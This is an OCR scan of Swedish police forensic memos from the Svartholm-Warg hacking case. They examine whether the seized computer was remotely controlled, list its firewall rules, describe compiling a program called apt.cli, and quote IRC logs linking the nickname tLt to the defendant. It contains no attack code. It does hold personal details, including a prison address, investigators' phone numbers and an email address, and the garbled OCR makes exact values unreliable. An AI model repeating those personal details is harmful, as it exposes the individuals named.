Joakim Persson, IT-forensiker 
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PM Undersökn ing av möj l ighet t i l l  fjärrstyrn ing ,  20 1 3-03- 1 8 1 5 :41  d iarienr :  020 1 -K8 1 864- 1 2 

SÄKERH ETSPOLISEN 
I nformationssäkerhet och bevissäkring i IT-m i ljö 
IS-BIT 

PM 
Datum 

201 3-03- 1 4  
Diarienr 

U ndersökn i n g  av möj l ig het ti l l  fj ärrstyrn i n g ,  gäl lande bes lag 201 2-
020 1 -BG25023-26 

Under förhör av Gottfrid Svartholm-Warg har tilltalad hävdat att hans dator, beslag 201 2-020 1 -
BG25023-26, har fj ärrstyrts via Terminal Services och Powershell Server. Länskriminalpolisen i 
Stockholm har till säkerhetspolisen ställt frågan om det flnns tecken på att operativsystemet på 
windows-partitionen på ovan nämnda beslag kunnat fj ärrstyras .  

Sammanfattning: 

Utifrån nedanstående fakta och observationer gör undertecknad bedömningen att den undersökta 
datorn inte har fj ärrstyrts sedan operativsystemet installerades 201 1 -07-1 1 .  

Detaljer: 

Operativsystemet på windows-partitionen har vid ett tillfälle ominstallerats .  Det aktuella 
operativsystemet, Windows 7 64-bit, installerades 20 1 1 -07 - 1 1 .Filer från tidigare operativsystem 
flnns bevarat i katalogen windows.old. Innehållet i denna katalog har inte beaktats i detta PM. 

säkerhetspolisen har inriktat granskningen mot tillgängliga loggar och brandväggsregler i beslaget 
och drar nedanstående slutsatser kring dessa: 

• Det äldsta inlägget i operativsystemets säkerhetslogg är daterat 201 1 -07- 1 4. 

• säkerhetspolisen flnner inga installerade programvaror som kan användas för 
fj ärrstyrning. 

• Den enda installation av Powershell Servet som säkerhetspolisen flnner, ligger i 
windows.old och tidsstämpeln för senast ändrad och senast åtkomst mot denna 
installation visar 201 1 -03-08 .  

• Tjänsten Terminal Services/Remote desktop är inte konfigurerad för fj ärrstyrning. 

o De loggar som är knutna Server/Remote Desktop innehåller inga tecken på 
extern anslutning. 

o RemoteConnectionManager-loggen är tom. 
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säke rhetspol isen P M  

20 1 3-03- 1 4  

o LocalSessionManager-loggen innehåller endast referenser till den lokala datorn. 

o Tjänsterna för Terminal Server/Remate Desktop är inte konfigurerade att starta 
automatiskt. 

o Tidsstämplar för registernycklar kopplade till Server/Remate Desktop visar på att 
konfigurationen inte har modifierats sedan operativsystemet installerades .  

• Tillgängliga loggar och regelverket för den lokala brandväggen har granskats efter tecken 
på att fj ärrstyrning skett utan att fj ärrstyrning kunnat påvisas. 

o Den inbyggda brandväggen är aktiv och tillåter endast inkommande trafik som 
matchar användarens angivna regler. Detta gäller för alla brandväggsproftler. 

o Brandväggen är inte konfigurerad att logga blockerade eller tillåtna anslutningar. 

o säkerhetspolisen har bedömt att det, av de programvaror som tillåts kommunicera 
genom brandväggen, inte finns programvaror som kan ha används för att 
fjärrstyra datorn. Se bilaga 1 för förteckning över gällande brandväggsregelverk. 

o Inga aktiva lyssnande nätverkstj änster med fj ärrstyrningsförmåga är nåbara genom 
den lokala brandväggen. 

• Tjänsten för Windows Remoting är inte konfigurerad för fjärrstyrning. 

o Den inbyggda brandväggen är inte konfigurerad för att tillåta Windows Remoting. 

o Tidsstämplar för registernycklar kopplade till Windows Remoting visar på att 
konfigurationen inte har modifierats sedan operativsystemet installerades .  

o Remote management loggen för Windows Remoting är tom. 

o Tj änsten WinRM är har enligt loggar inte startat. 
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säkerhetspol isen PM 

201 3-03- 1 4  

• Den inbyggda funktionen för att vidarebefordra trafik via netsh kommandot, portproxy, 
visar inte på någon vidarebefordran av TCP trafik. . 

• De inloggningsrelaterade händelser som återfinns i operativsystemets säkerhetslogg 
uppvisar inga andra källadresser än 1 27.0 .0 . 1 eller : : 1 . 

• U ser Account Control (UAC) är aktiverat och konfigurerad till "Always Notify", vilket 
innebär att Windows varnar när program försöker installera mjukvara eller förändra 
datorns konfiguration, samt när användaren försöker förändra datorns konfiguration. 
Detta medför också att användaren måste godkänna program som vill exekvera med 
administrativa rättigheter, något som försvårar för fj ärrstyrning utan grafiskt gränssnitt. 
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säkerhetspol isen PM 

20 1 3-03- 1 4  

Bilaga 1 - Brandväggens konfiguration 

Name Profile Acti Program Lo c Rem 
on al o te 

Ad d Ad d 
res s res s 

Adobe Flash Player 1 1 .0  r1 Private, Allo F: \flash \flashplayer_1 1_sa_debug_32bit.exe An y An y 
Public w 

Adobe Flash Player 1 1 .0 r1 Private, Allo F: \flash \flashplayer_1 1_sa_debug_32bit.exe An y An y 
Public w 

Adobe Flash Player 1 1 .0 r1 Private, Allo C:\tools\fp.exe An y An y 
Public w 

Adobe Flash Player 1 1 .0  r1 Private, Allo C:\tools\fp.exe An y An y 
Public w 

Adobe Flash Player 1 1 .2 d202 Private, Allo F: \flash \flashplayer1 1 - An y An y 
Public w 2 _p2 debugsa win 32 1 1 221 1 .exe 

Adobe Flash Player 1 1 .2 d202 Private, Allo F:\ flash \flashplayer1 1 - An y An y 
Public w 2 _p2 debugsa win 32 1 1 221 1 .exe 

Adobe Flash Player 1 1 .2 r202 Private, Allo C: \apt\flashplayer_1 1_sa_debug_32bit.exe An y An y 
Public w 

Adobe Flash Player 1 1 .2 r202 Private, Allo C: \apt\flashplayer_1 1_sa_debug_32bit.exe An y An y 
Public w 

Adobe Flash Player 1 1 .3 r300 Private, Allo C:\apt\flashplayer1 1 - An y An y 
Public w 3 _p2 debugsa win 32 041 81 2.exe 

Adobe Flash Player 1 1 .3 r300 Public Bloc F: \flash \fp 1 13.exe An y An y 
k 

Adobe Flash Player 1 1 .3 r300 Private, Allo C:\apt\flashplayer1 1 - An y An y 
Public w 3 _p2 debugsa win 32 041 812.exe 

Adobe Flash Player 1 1 .3 r300 Public Bloc F:\flash \fp 1 13.exe An y An y 
k 

Adobe Flash Player 1 1 .3 r300 Private, Allo F: \a \x \cpr\uni\flashplayer_1 1_sa_debug.exe.201 2 An y An y 
Public w 081 5 . 1 13300271 .exe 

Adobe Flash Player 1 1 .3 r300 Public Allo C:\apt\flashplayer_1 1_sa_debug.exe An y An y 
w 

Adobe Flash Player 1 1 .3 r300 Private, Allo F: \a \x \cpr\uni\flashplayer_1 1_sa_debug.exe.201 2 An y An y 
Public w 081 5 . 1 1 3300271 .exe 

Adobe Flash Player 1 1 .3 r300 Private, Allo C:\flash \fp 1 1 d. 1 1 3300271 .20 1 2081 4.exe An y An y 
Public w 

Adobe Flash Player 1 1 .3 r300 Private, Allo C:\flash \fp1 1 d. 1 1 3300271 .201 20814.exe An y An y 
Public w 

Adobe Flash Player 1 1 .3 r300 Private, Allo F: \flash \fp 1 1 debug. 1 1 3300257.exe An y An y 
Public w 

Adobe Flash Player 1 1 .3 r300 Private, Allo F:\flash \fp 1 1 debug. 1 1 3300257.exe An y An y 
Public w 

Adobe Flash Player 1 1 .3 r300 Public Allo C:\apt\flashplayer_1 1_sa_debug.exe An y An y 
w 

Adobe Flash Player 1 1 .4 r400 Private, Allo C:\flash \fpdb. 1 1 4p2.080712.exe An y An y 
Public w 

Adobe Flash Player 1 1 .4 r400 Private, Allo C: \flash \fpdb. 1 1 4p2.08071 2.exe An y An y 
Public w 

Adobe Flash Player 1 1 .4 r402 Private, Allo C:\flash \fp1 1 d. 1 1 4402265.201 20825.exe An y An y 
Public w 

Adobe Flash Player 1 1 .4 r402 Private, Allo C:\flash \fp1 1 d. 1 1 4402265.201 20825.exe An y An y 
Public w 

avast! Antivirus Private, Allo C: \program flles \avast software\avast\avastui.exe An y An y 
Public w 

avast! Antivirus Private, Allo C: \program flles \avast software \avast\avastui.exe An y An y 
Public w 

dbgview.exe Private, Allo C:\ users \a \downloads \ debugview \ dbgview.exe An y An y 
Public w 

dbgview.exe Private, Allo C:\ users \a \downloads \ debugview\ dbgview.exe An y An y 
Public w 

DebugView Private, Allo C:\ tools \ sysint\dbg>�ew.exe An y An y 
Public w 

DebugView Private, Allo C:\ tools \ sysint\dbg>�ew.exe An y An y 
Public w 

Pile Transfer Program Private, Allo C:\ windows \ system32\ftp.exe An y An y 
Public w 

Pile Transfer Program Private, Allo C:\ windows \system32\ftp.exe An y An y 
Public w 

Pro t 
ocol 

UD 
p 
TCP 

UD 
p 
TCP 

UD 
p 
TCP 

TCP 

UD 
p 
TCP 

UD 
p 
UD 
p 
TCP 

TCP 

UD 
p 
UD 
p 
TCP 

UD 
p 
UD 
p 
TCP 

TCP 

TCP 

UD 
p 
UD 
p 
TCP 

TCP 

UD 
p 
TCP 

UD 
p 
UD 
p 
TCP 

UD 
p 
TCP 

Lo c 
al 
Port 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

Re 
mot 
e 
Port 
An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 

An y 
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flashplayer_l l_sa_debug_32bit. l Private, Allo C: \users \a \downloads\flashplayer_l l_sa_debug_ An y An y 
1 2202228.exe Public w 32bit. 1 12202228.exe 
flashplayer_l l_sa_debug_32bit. l  Private, Allo C:\users \a \downloads \flashplayer_l l_sa_debug_ An y An y 
1 2202228.exe Public w 32bit. 1 12202228.exe 
flashplayer_l l_sa_debug_32bit.ex Private, Allo C:\ users \a \downloads \flashplayer_l l_sa_debug_ An y An y 
e Public w 32bit.exe 
flashplayer_l l_sa_debug_32bit.ex Private, Allo C:\ users \a \downloads \flashplayer_l l_sa_debug_ An y An y 
e Public w 32bit.exe 
flashplayerl l - Private, Allo C:\users \a \downloads\flashplayerl l - An y An y 
2_p2_debugsa_win_32_1 1 221 1 .e Public w 2_p2_debugsa_ win_32_1 1 221 1 .exe 
x e 
flashplayerl l - Private, Allo C: \users \a \downloads \flashplayerl l - An y An y 
2_p2_debugsa_ win_32_1 1 221 1 . e  Public w 2_p2_debugsa_ win_32_1 1 221 1 .exe 
x e 
Interactive Disassembler (32-bit) Public Allo C:\ Windows.old\Program Files An y An y 

w (x86) \IDA \idag. ex e 
Interactive Disassembler (32-bit) Public Allo C:\ Windows.old\Program Files An y An y 

w (x86)\IDA \idag.exe 
Interactive Disassembler (64-bit) Public Allo C:\ Windows.old\Program Files An y An y 

w (x86) \IDA \idag64.exe 
Interactive Disassembler (64-bit) Public Allo C:\ Windows.old\Program Files An y An y 

w (x86) \IDA \idag64.exe 
Internet Explorer Public Bloc C: \program files (x86) \internet An y An y 

k explorer\iexplore.exe 
Internet Explorer Public Bloc C: \program files (x86) \internet An y An y 

k explorer\iexplore.exe 
Internet Explorer Private, Allo C:\program files\internet explorer\iexplore.exe An y An y 

Public w 
Internet Explorer Private, Allo C:\program files\internet explorer\iexplore.exe An y An y 

Public w 
JGS Automatic Update Utility Public Allo C:\Program Files (x86)\QWS3270 An y An y 

w PLUS \AutoUpdt.exe 
JGS Automatic Update Utility Public Allo C:\Program Files (x86)\QWS3270 An y An y 

w PLUS \Auto Updt.exe 
JGS Line Printer Daemon Public Allo C:\Program Files (x86)\QWS3270 PLUS\lpd.exe An y An y 

w 
JGS Line Printer Daemon Public Allo C:\Program Files (x86)\QWS3270 PLUS\lpd.exe An y An y 

w 
Microsoft Kernel Debugger Private, Allo C: \program fil e s\ debugging tools for windows An y An y 
Connection Server Public w (x64) \kdsrv.exe 
Microsoft Kernel De bugger Private, Allo C:\program files\debugging tools for windows An y An y 
Connection Server Public w (x64) \kdsrv.exe 
Microsoft U ser-Mode De bugger Private, Allo C: \program files \debugging tools for windows An y An y 
Process Server Public w (x64) \dbgsrv.exe 
Microsoft U ser-Mode Debugger Private, Allo C: \program files \debugging tools for windows An y An y 
Process Server Public w (x64) \dbgsrv.exe 
miR C Private, Allo F:\ clientside \mirc \mirc.exe An y An y 

Public w 
miR C Private, Allo F:\ clientside \mirc \mirc.exe An y An y 

Public w 
n eko Private, Allo C: \motion-twin \n eko \neko.exe An y An y 

Public w 
n eko Private, Allo C:\motion-twin \neko \neko.exe An y An y 

Public w 
nekotools Private, Allo C: \motion-twin \n eko \nekotools .exe An y An y 

Public w 
nekotools Private, Allo C: \motion-twin \n eko \nekotools.exe An y An y 

Public w 
NETMET Private, Allo C:\apt\netmet\netmet.exe An y An y 

Public w 
NETMET Private, Allo C: \apt\netmet\netmet.exe An y An y 

Public w 
openvpn Private, Allo C: \program files (x86) \ openvpn \bin \openvpn.exe An y An y 

Public w 
openvpn Private, Allo C: \program files (x86) \ openvpn \bin \openvpn.exe An y An y 

Public w 
OpenVPN GUl Private, Allo C:\Program Files (x86)\0penVPN\bin\openvpn- An y An y 

Public w gui-1 .0.3.exe 
OpenVPN GUl Private, Allo C:\Program Files (x86)\0penVPN\bin\openvpn- An y An y 

Public w gui-1 .0.3.exe 
openvpnserv Private, Allo C:\Program Files An y An y 

Public w (x86)\0penVPN\bin\openvpnserv.exe 
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openvpnserv Private, Allo (:\Program Files An y An y 
Public w (x86) \ Open VPN\ bin\ openvpnserv.exe 

pyrhon Private, Allo C:\ python27\ python.exe An y An y 
Public w 

pyrhon Private, Allo C: \python27\python.exe An y An y 
Public w 

QWS3270 PLUS Public Allo C:\Program Files (x86)\QWS3270 An y An y 
w PLUS \ QWS3270p.exe 

QWS3270 PLUS Public Allo (:\Program Files (x86)\QWS3270 An y An y 
w PLUS \ QWS3270p.exe 

QWS3287 Printer Public Allo C:\Program Files (x86)\QWS3270 An y An y 
w PLUS\QWS3287p.exe 

QWS3287 Printer Public Allo C:\Program Files (x86)\QWS3270 An y An y 
w PLUS\QWS3287p.exe 

SSH, Teinet and Riogin client Private, Allo F: \a \putty\putty.exe An y An y 
Public w 

SSH, Teinet and Riogin client Private, Allo F: \a \putty\putty.exe An y An y 
Public w 

The Interactive Disassembler Public Bloc C:\ too l s \ida61 adv\idaq.exe An y An y 
k 

The Interactive Disassembler Public Bloc C:\ tools \ida61 adv\idaq.exe An y An y 
k 

The Interactive Disassembler Public Bloc C:\ tools \ida \idag64.exe An y An y 
k 

The Interactive Disassembler Public Bloc C:\ tools \ida \idag64.exe An y An y 
k 

The Interactive Disassembler Private, Allo C:\ tools \ida \idag.exe An y An y 
Public w 

The Interactive Disassembler Private, Allo C:\ tools \ida \idag.exe An y An y 
Public w 

VMware Authd Private Allo C:\Program Files (x86)\  VMware\ VMware An y An y 
w Workstation \ vmware-authd.exe 

VMware Authd Public Allo C:\Program Files (x86)\ VMware\ VMware An y An y 
w Workstation \ vmware-authd.exe 

VMware Authd Public Allo C:\Program Files (x86)\  VMware\ VMware An y An y 
w Workstation \ vmware-authd.exe 

VMware Authd Private Allo C: \Program Files (x86)\  VMware\ VMware An y An y 
w Workstation \ vmware-authd.exe 

VMware Authd Domain Allo C:\Program Files (x86)\  VMware\ VMware An y An y 
w Workstation \ vmware-authd.exe 

VMware Authd Domain Allo C:\Program Files (x86)\ VMware\ VMware An y An y 
w Workstation \ vmware-authd.exe 

Wget: retrieve ftles from the Private, Allo C:\ tools \gnu \bin\ wget.exe An y An y 
www Public w 
W get: retrieve files from the Private, Allo C: \tools \gnu \bin\ wget.exe An y An y 
www Public w 
Windows GUl symbolic debugger Public Allo C:\program ftles\debugging tools for windows An y An y 

w (x64) \ windbg.exe 
Windows GUl symbolic debugger Public Allo C:\program ftles\debugging tools for windows An y An y 

w (x64) \ windbg.exe 
Windows Kernel Debugger Private, Allo C: \program ftles \debugging too l s for windows An y An y 

Public w (x64) \kd.exe 
Windows Kernel Debugger Private Allo C: \program files \debugging tools for windows An y An y 

w (x64) \kd.exe 
Windows Kernel Debugger Private Allo C:\program files\debugging tools for windows An y An y 

w (x64)\kd.exe 
Windows Kernel Debugger Private, Allo C: \program files \debugging tools for windows An y An y 

Public w (x64) \kd.exe 
xming.exe Private, Allo C: \users \a \xming\xming.exe An y An y 

Public w 
xming.exe Private, Allo C:\ users \a \xming\xming.exe An y An y 

Public w 
Core Networking - Destination All Allo System An y An y 
Unreachable (ICMPv6-In) w 
Core Networking - Destination All Allo System An y An y 
Unreachable Fragmentarian w 
Needed (ICMPv4-In) 
Core Networking - Dynamic Host All Allo %SystemRoot% \ system32\svchost.exe An y An y 
Configuration Protocol (DHCP- w 
In) 
Core Networking - Dynamic Host All Allo %SystemRoot% \system32\ svchost.exe An y An y 
Configuration Protocol for w 
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IPv6(DHCPV6-In) 

Core Networking - Internet All Allo System An y An y 
Group Management Protocol w 
(IGMP-In) 
Core Networking - IPHTTPS All Allo System An y An y 
(TCP-In) w 

Core Networking - IPv6 (IPv6- All Allo System An y An y 
In) w 
Core Networking - Multieast All Allo System An y Lo ca 
Lstener Done (ICMPv6-In) w l 

sub n 
et 

Core Networking - Multieast All Allo System An y Lo ca 
Lstener Query (ICMPv6-In) w l 

subn 
et 

C o re N etworking - Multieast All Allo System An y Lo ca 
Lstener Report (ICMPv6-In) w l 

sub n 
et 

Core Networking - Multieast All Allo System An y Lo ca 
Lstener Report v2 (ICMPv6-In) w l 

sub n 
et 

Core Networking - Neighbor All Allo System An y An y 
Discovery Advertisement w 
(ICMPv6-In) 
Core Networking - Neighbor All Allo System An y An y 
Discovery Solicitation (ICMPv6- w 
In) 
Core Networking - Packet Too All Allo System An y An y 
Big (ICMPv6-In) w 
Core Networking - Parameter All Allo System An y An y 
Problem (ICMPv6-In) w 
Core N etworking - Router All Allo System An y fe80: 
Advertisement (ICMPv6-In) w : /64 
Core Networking - Router All Allo System An y An y 
Solicitation (ICMPv6-In)_ w 
Core Networking - Teredo (UD P- All Allo %SystemRoot% \system32\svchost.exe An y An y 
In) w 

Core Networking - Time All Allo System An y An y 
Exceeded (ICMPv6-In) w 
HomeGroup In Private Allo %systemroot% \system32\ svchost.exe An y Lo ca 

w l 
sub n 
et 

HomeGroup In (PNRP) Private Allo %systemroot% \system32\svchost.exe An y Lo ca 
w l 

subn 
et 

Network Discovery (LLMNR- Private Allo %SystemRoot% \system32\ svchost.exe An y Lo ca 
UD P-In) w l 

sub n 
et 

Network Discovery (NB- Private Allo System An y Lo ca 
Datagram-In) w l 

subn 
et 

Network Discovery (NB-Name- Private Allo System An y Lo ca 
In) w l 

sub n 
et 

Network Discovery (Pub-WSD- Private Allo %SystemRoot% \system32\svchost.exe An y Lo ca 
In) w l 

sub n 
et 

Network Discovery (SSDP-In) Private Allo %SystemRoot% \system32\svchost.exe An y Lo ca 
w l 

sub n 
et 
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Network Discovery (UPnP-In) Private Allo System An y Lo ca 
w l 

sub n 
et 

Network Discovery (WSD Private Allo System An y Lo ca 
Events-In) w l 

subn 
et 

Network Discovery (WSD Private Allo System An y Lo ca 
EventsSecure-In) w l 

sub n 
et 

Network Discovery (WSD-In) Private Allo %SystemRoot% \system32\svchost.exe An y Lo ca 
w l 

sub n 
et 

TCP 2869 An y 

TCP 5357 An y 

TCP 5358 An y 

UD 3702 An y 
p 

Alla redovisade brandväggsregler hade nedanstående fålt gemensamt varför de av utrymmesskäl 
tagits bort från tabellen. Ej heller inaktiva regler finns med i tabellen. 

allowed computers: any 
allowed users: any 
override: no 
enabled: yes 

Jesper Blomström 
IT -säkerhetsspecialist 
Enheten för Informationssäkerhet och bevissäkring i IT -miljö 
säkerhetspolisen 
0 1 0-568 70 00 
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Polisen 
Pol ismynd igheten i Stockh o l m s  län 
Länskriminalpolisavdelningen 
IT-forensiska sektionen 
Gustav Fahlen 
IT-forensiker 

Funktionsbeskrivning av apt.cli 

PM 

Datum 

20 1 3 -03-0 1 

Diarienr (åberopas vid korresp) 

020 1 -K8 1 864- 12  

Apt.cli kompileras från källkoden i filen " ab . c "  som hittats i det beslagtagna 
materialet. Med hjälp av "gcc  - o  apt . c l i  - D C L I ENT ab . c "  kompileras det 
till ett körbart program " apt . c l i " .  Efter att man kompilerat programmet och 
kör det så genererar det samma output som finns i de putty-loggar som finns i 
beslagen. Den slutsats man kan dra är att den kod som finns i " ab . c "  med 
stor sannolikhet är densamma som använts för kompilering av programmet 
" apt . c l i " .  

Gustav Fahlen 

Tel : 0 1 0-563 56 84, 0708-95 1 6  3 1  
gustav.fahlen@polisen.se 

PM 1 30301 Funktionsbeskrivning av apt.cl i .docx 
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Polisen PM 

Datum 

Pol ismynd igheten i Stockhol ms län 

Länskriminalpolisavdelningen 

20 1 2-07-05 

Diarienr (åberopas v id  korresp) 

IT-forensiska sektionen 020 1 -K8 1 864- 1 2  
Joakim Persson 
IT-forensiker 

Gällande Svartholm W args nick tLt och Anakata 

På http:l/echelog. com/logs/browse/haxe/1356822000 återfinns utdrag från en 
loggfil från den 30 december 20 12  på IRC kanalen #haxe: 

< J an_F l a n d e r s >  Hey guy s ,  I ' m  gonna send  t lt a ' New Yea r  greet ing  c a rd ' tomorrow . Anyone t h at 
wants  some word s added ? I ' m  gonna add  a print  of the  c h a n n e l  log . If it ' s  somet h i n g  (too)  
personal  you  c a n  PM  me . 
[ 21 : 00 : 30 )  < J a n_F l a n d e r s >  mi6x3m ? ( too bad ousado h a s n ' t  been in the  c h a n n e l  for a wee k )  
[ 21 : 00 : 48 )  < mi6x3m> J a n_F landers : I wanted t o  do i t  also  
[ 21 : 00 : 5 2 ]  < mi6x3m> do you  have the  addres s ?  
[ 21 : 00 : 59 )  < J a n_Flanders > yes 
[ 21 : 01 : 07 )  < mi6x3m> PM me 
[ 21 : 01 : 59 )  < J a n_F lande r s >  http : l / 94 . 142 . 242 . 48 /guest s /t lt/t l t - addres s . jpg 
[ 21 : 02 : 3 3 )  <Agbeladem> yea h  I did  see that 
[ 21 : 02 : 38 )  < mi6x3m> oh cool 
[ 21 : 03 : 40 )  < J a n_F landers > I ' l l add  a general Hi  from the  #haxe c h a n n e l ' anyway 
[ 21 : 04 : 42 )  <Agbeladem> : O  
[ 21 : 04 : 45 )  < mi6x3m> J a n_F landers : o k ,  please  write h im from him  " Hey Gottfrid , t h i s  i s  mi6x3m 
from the  IRC c h a n n e l ,  please  don ' t  t h row away my c a rd if you get it . I am moving to earnbcd ia 
soon so  we c a n  hang  out a l l  we want and  speak  about tech . "  
[ 21 : 04 : 47 )  <Agbeladem> cool 

På länken ovan återfinns bilden nedan. Notera också att bilden heter tLt
address.jpg: 

Tllis is Gontrid, alla Alakata. 

Tbe toaldill l&ther ol The Pirate Bav. 

Be is now in iaiL serving is sentence 

lor vour .. si s". 
Wa1t to giVe bim a merrv cbj�l)ll1asP 

Send him gifts and ••n•� .. 

GoDfrid SVartholm 

Box 105 

&41 23 Mafefred 

SWEDEII 

i?' All f' Audio f" Video G App lu;ation5 EJ Game5 EJ Other 
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Polismyndigheten i Stockholms län 201 2-07-05 

På länken http:l/echelog. com/logs/browse/haxe/1360623600 återfanns 
ytterligare en logg från den 12 februari 20 1 3 :  

[ 17 : 58 : 47 ]  < EZ - w a n >  J a n_Flanders  so a sume gottfrid a l so u s e s  h axe ? 
[ 17 : 58 : 5 6 ]  < J a n_Flanders > no not really : D  

020 1 -K8 1 864- 1 2  

[ 17 : 59 : 09 ]  < J a n_Flanders > H e  was i n  the  c h a n nel  p retty much  every day,  but h a rd ly ever wrote 
h a  x e 
[ 17 : 59 : 19 ]  < EZ - wa n >  lol 
[ 17 : 59 : 28 ]  <Asmageddon > Sounds l i ke me 
[ 17 : 59 : 42 ]  < J a n_F l a nders > He wrote the Boot . hx file for the tamarin  ta rget though . : )  
[ 17 : 59 : 54 ]  < EZ -wan>  he  j u st l i kes  people who u s e  haxe 
[ 18 : 00 : 04 ]  <Asmageddon > so a Haxophile  
[ 18 : 00 : 56 ]  < EZ - wa n >  he  though maybe this  was a room a bout h a c king  a n d  then  made friend s h i p  
[ 18 : 01 : 59 ]  < J an_Flanders > http : / / haxe . org/ doc/target s /tama r i n / i r c i n s t ruction s ? l a ng=e n  
[ 18 : 02 : 46 ]  < J a n_F l a n d e r s >  It ' s  great t h at w e  kept i t  ' a s i s ' t here : D  
[ 18 : 02 : 48 ]  < J a n_F l a n d e r s >  [ 18 : 03 ]  t Lt you c a n  t ry and  see if s h it compiles perhaps  
[ 18 : 02 : 50 ]  < J a n_F l a n d e r s > [ 18 : 07 ]  t Lt then  if you  t ry the  resulting swf in  f l a s h  player it  
s hould bitch  a bout 
[ 18 : 03 : 12 ]  < J a n_F l a n d e r s >  : )  
[ 18 : 03 : 30 ]  < J a n_F l a n d e r s >  t Lt i s /wa s h i s  n i c k  h e re 
[ 18 : 03 : 42 ]  < J a n_F l a n d e r s >  among many others  
[ 18 : 04 : 30 ]  < J a n_F l a n d e r s >  L i ke mi6_x3m says : ' very friendly ' : D  
[ 18 : 05 : 04 ]  < EZ - wa n >  coo l ,  I will keep it i n  mind  : )  

I utdraget ovan skriver användaren Jan _F/anders att Svartholm W arg skrev 
Boot. hx vilken också påträffats i beslag 20 12-020 1 -BG25023-26. Vidare 
skriver Jan _F/anders : "tLt is/was his nick here" och syftar på Gottfri d. 

På länken som är markerad i chattutdraget ovan, visas instruktioner för 
kompilering och konfigurering skrivet av tLt: 

[ 17 : 52 ]  l .  down load and  campile  tamarin  
[ 17 : 53 ]  add  my pat ch  t o  the  haxe std/fla sh9  
[ 17 : 54 ]  campile with - D  avmshell  
[ 17 : 5 5 ]  � L  wel l ,  before compiling ,  a s  i h avent figured out a better  way  -
d e c l a re the  c l a s s  with the  ent rypoint ( i . e .  main ( ) )  a s  " I P L "  
[ 17 : 5 5 ]  t Lt @ : n s ( " " ) @ : native ( " I P L " )  c l a s s  Tarna rinrest { 
[ 17 : 5 5 )  p u b l i c  funct ion new ( ) { t r a c e ( " hello c ruel world  from Haxe 
ta rget ing avmshel l ! tamarin v " +System . getAvmplusVersion ( ) ) ; } 
[ 17 : 5 5 )  L p u b l i c  static  function main ( )  { var  t t  = new Tama rinTest ( ) ; 
t r a c e ( " good bye c ruel  world ! freeMem : " +System . freeMemory ) ; } 
[ 17 : 5 5 )  t lt } 
[ 17 : 56 )  t t h e re a re some semant i c  d ifferences  in how the  i n it/entry code i s  
exec uted wh i c h  i dont t h i n k  c a n  b e  ove rcome without pat c h i n g  u p  t h e  h axe 
compiler  
[ 17 : 57 ) t Lt so  i load the  resulting swf  taget her  with  a sma l l  a b c  t h at j u st 
locates  a n d  c a l l s  I P L . ma in ( )  
[ 18 : 01 )  t L  i *t h i n k* that  i s  enough o n  its  own 
[ 18 : 02 )  t Lt i need to a ctually reinstall  hx  to be sure ,  but someone c a n  t ry it 
perh a p s  [ 18 : 02 )  t Lt a l s o  
[ 18 : 02 )  Lt t h i s  goes i n  std/avmpl u s : 
http : // riviera . thelatt iceteam . com/System . hx 
[ 18 : 03 )  t L  you c a n  t ry and  see if s h it compiles perhaps  
[ 18 : 05 ]  � L  <tLt>  http : // riviera . thelatt i c eteam . com/Boot . hx repl a c e  
std\fl a s h 9 \ Boot . hx 
[ 18 : 05 )  � Lt < t L t >  http : // riviera . thelatt i c eteam . c om/System . hx a s  
std \avmp l u s \System . hx 
[ 18 : 06 )  � L  j u st a n  empty c l a s s  Foo { p u b l i c  stat i c  funct ion main ( )  { } } 
[ 18 : 06 )  t Lt h axe -main  Foo - swf9 foo . swf - D  avmshell  
[ 18 : 07 )  t Lt t h e n  if you t ry the  resulting  swf  i n  flash  player it s hould  bit c h  
a bout not i n h e rit ing  s prite 
[ 18 : 07 )  Lt gras s@thelatt iceteam . com 
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tLt ger här instruktioner och länkar mot sin riviera. thelatticeteam. com samt 
anger epostadressen grass@thelatticeteam. c om 
I Svartholm W args dator återfinns användaruppgifter för epostadressen 
grass@thelatticeteam.com samt stora mängder med referenser till 
riviera. thelatticeteam. c om 

På länken http:/lpostfzx. echelog. com/logs/browse/haxe/1358204400 återfanns 
ytterligare en logg från den 1 5  januari 20 1 3 :  

[ 1 3 : 54 : 14 ]  ***  musa  h a s  j oined #haxe 
[ 14 : 10 : 30 ]  *** d s i r i j u s  has joined  #haxe 
[ 14 : 11 : 5 3 ]  *** grandtheft R has joined  #haxe 
[ 14 : 16 : 1 3 ]  < J an_F l a n d e r s >  Hey guy s ,  tLt  i s  doing fine and says h i : 
http : / /www . haxe r . be/guests/tlt/ letter - exce rpt - 1 . png 
[ 14 : 16 : 18 ]  < J a n_F landers>  Part that  ousado will l i ke : 
http : / /www . haxe r . be/guest s /t lt / l ett e r - exc e rpt - 2 . png : D  
[ 14 : 19 : 11 ]  ***  s e ismo h a s  quit IRC  
[ 14 : 20 : 10 ]  <ousado>  a h  nice  
[ 14 : 20 : 20 ]  < o u s ado>  so he ' s  o kay 
[ 14 : 20 : 50 ]  < J an_F l a nders > Yep : )  
[ 14 : 21 : 44 ]  <ousado>  that was p retty q u i c k  

Bilderna som länkas till ovan är inklippta nedan: 
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I truecrypt containern i beslag 20 12-020 1 -BG25023-26 återfanns följande i 
loggfilen _el_freenode. log: 

2001 -01 -02 08:42 <_e1 _> hey, you OK ? : ) 

2001 -0 1 -02 08:44 l <tU-> .1 yeah except TWO keys are now broken on my dam n keyboard 

200 1 -0 1 -02 08:46 <_e1 _> which one ? l guess , if it were Murphy's law: space and enter 

2001 -0 1 -02 08:47 l <tU-> l O and arrow down 1 

200 1 -0 1 -02 08:47 l <tU-> l arrow down is the annoying one ! 

200 1 -0 1 -02 08:47 <_e1 _> 
yes. l can imagine. Good thing for me l l i ke to work in v im, so 
t here is another key to u se i nstead of that : )  

200 1 -0 1 -02 08:48 <_e1 _> how d id you manage to 'fix' them ? 

200 1 -0 1 -02 08:48 l <tU-> l wei l  i can sti l l  press the membrane : P  

2001 -0 1 -02 08:48 <_e1 _> fisting between numkeys ? : )  

200 1 -0 1 -02 08:48 l <tU-> l but using externa! kbd now 

Nedan visas en bild föreställande beslag 20 12-020 1 -BG25023 -26 
